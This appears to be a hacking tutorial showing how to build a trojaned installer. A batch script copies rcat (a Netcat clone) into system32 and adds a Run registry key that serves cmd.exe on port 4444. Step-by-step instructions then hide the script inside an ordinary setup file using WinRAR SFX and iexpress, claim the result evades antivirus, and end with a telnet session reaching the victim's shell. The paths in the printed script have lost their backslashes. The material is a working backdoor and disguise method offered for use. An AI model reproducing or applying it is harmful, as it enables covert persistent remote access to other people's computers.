As rcat is a good replica of Netcat and has an ability to bypass
most of the antivirus, then why not wrap it up with another file
(that must not a backdoor)?

To do this we use a simple technique:

1. Create a batch file that will add your Netcat into the system
   folder and can edit the registry of the windows. Wait you don’t
   need to create it because I did it for you.

@echo off
copy rcat.exe %systemroot%system32rcat.exe
if errorlevel 0 goto regedit
goto error
:regedit
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v nc /d “%systemroot%system32rcat.exe -L -d -p 4444 -t -e cmd.exe”
if errorlevel 0 goto ip
:error
echo something wrong with the program.
goto end
:ip
echo write down the IP address from the table
ipconfig
:end
echo end.
nc -L -p 4444 -t

• Open a notepad and than save it to name.bat
• Download rcat and then copy rcat.exe into the same directory where name.bat exist
• Now we use winrar to combine these two file, select both and then right click on add to archive

• On the next window mark check on create SFX archive
  
• Go to advance tab and click on SFX option
  
• Fill out the options like at the figure below

• Change the tab to modes and place mark of hide all
  
• Almost done click OK than OK to create a file
• New file must be appear at the same directory
• We have combined it but now make it more compitable
• Click on the start than run and type iexpress
  
• iexpress wizard will start, click on next, then next (leave it as default), and then where it ask about package title write any title like test
  
• On the next two window click leave as a default and then you need to add your files.
• You
  need to add two files like I did (see figure below) one must a .exe
  file that we have made by using above method and the second file will be
  any setup file. iexpress combines them to make one.

 

• On the next window there will be two options, on the install program select the simple setup and on the post install command select the backdoor.
• On the next window place mark on hidden then click next
• Enter the name of the final file and place mark on first option (see figure below )

• On next window no restart and
  then don’t save, on the last create the package.
• Your new file must be appear on the same directory and here is the report.
• New file has an ability to bypass the most famous antivirus software and it has contained our back door.

Result

root@bt:~# telnet 192.168.1.8
 
Trying 192.168.1.8…
 
telnet: Unable to connect to remote host: Connection refused
 
root@bt:~# telnet 192.168.1.8 23
 
Trying 192.168.1.8…
 
telnet: Unable to connect to remote host: Connection refused

root@bt:~# telnet 192.168.1.8 4444
 
Trying 192.168.1.8…
 
Connected to 192.168.1.8.
 
Escape character is ‘^]’.
 
Microsoft Windows XP [Version 5.1.2600]
 
(C) Copyright 1985-2001 Microsoft Corp.
 
C:Documents and SettingsBlacksheep>